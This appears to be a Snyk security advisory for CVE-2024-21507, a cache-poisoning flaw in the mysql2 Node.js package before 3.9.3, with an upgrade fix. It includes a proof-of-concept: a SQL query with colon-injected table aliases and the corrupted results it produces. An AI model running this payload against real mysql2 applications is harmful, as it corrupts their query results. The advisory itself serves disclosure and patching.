Use of Web Browser Cache Containing Sensitive Information Affecting mysql2 package, versions <3.9.3
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.05% (17th
percentile)
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-JS-MYSQL2-6591300
- published 9 Apr 2024
- disclosed 8 Apr 2024
- credit Vsevolod Kokorin (Slonser)
Introduced: 8 Apr 2024
CVE-2024-21507 Open this link in a new tabHow to fix?
Upgrade mysql2
to version 3.9.3 or higher.
Overview
mysql2 is a mostly API compatible with mysqljs and supports majority of features.
Affected versions of this package are vulnerable to Use of Web Browser Cache Containing Sensitive Information through the keyFromFields
function, resulting in cache poisoning. An attacker can inject a colon (:
) character within a value of the attacker-crafted key.
PoC
connection.query(
'SELECT information_schema.tables.TABLE_NAME,`tables:160:63/DATA_LENGTH:8:undefined::tables`.TABLE_ROWS FROM information_schema.tables INNER JOIN information_schema.tables AS `tables:160:63/DATA_LENGTH:8:undefined::tables` ON `tables:160:63/DATA_LENGTH:8:undefined::tables`.TABLE_ROWS!=information_schema.tables.TABLE_ROWS LIMIT 1;',
function(err, results, fields) {
}
);
// Send another request and spwan new connection
connection1.query(
`SELECT TABLE_NAME, TABLE_ROWS, DATA_LENGTH FROM information_schema.tables LIMIT 1;`,
function(err, results, fields) {
console.log(results);
console.log(fields);
}
);
Results
[ { TABLE_NAME: 'ADMINISTRABLE_ROLE_AUTHORIZATIONS', TABLE_ROWS: 0 } ]
[
`TABLE_NAME` VARCHAR(64) NOT NULL,
`TABLE_ROWS` BIGINT(21) UNSIGNED,
`DATA_LENGTH` BIGINT(21) UNSIGNED
]
References
CVSS Scores
version 3.1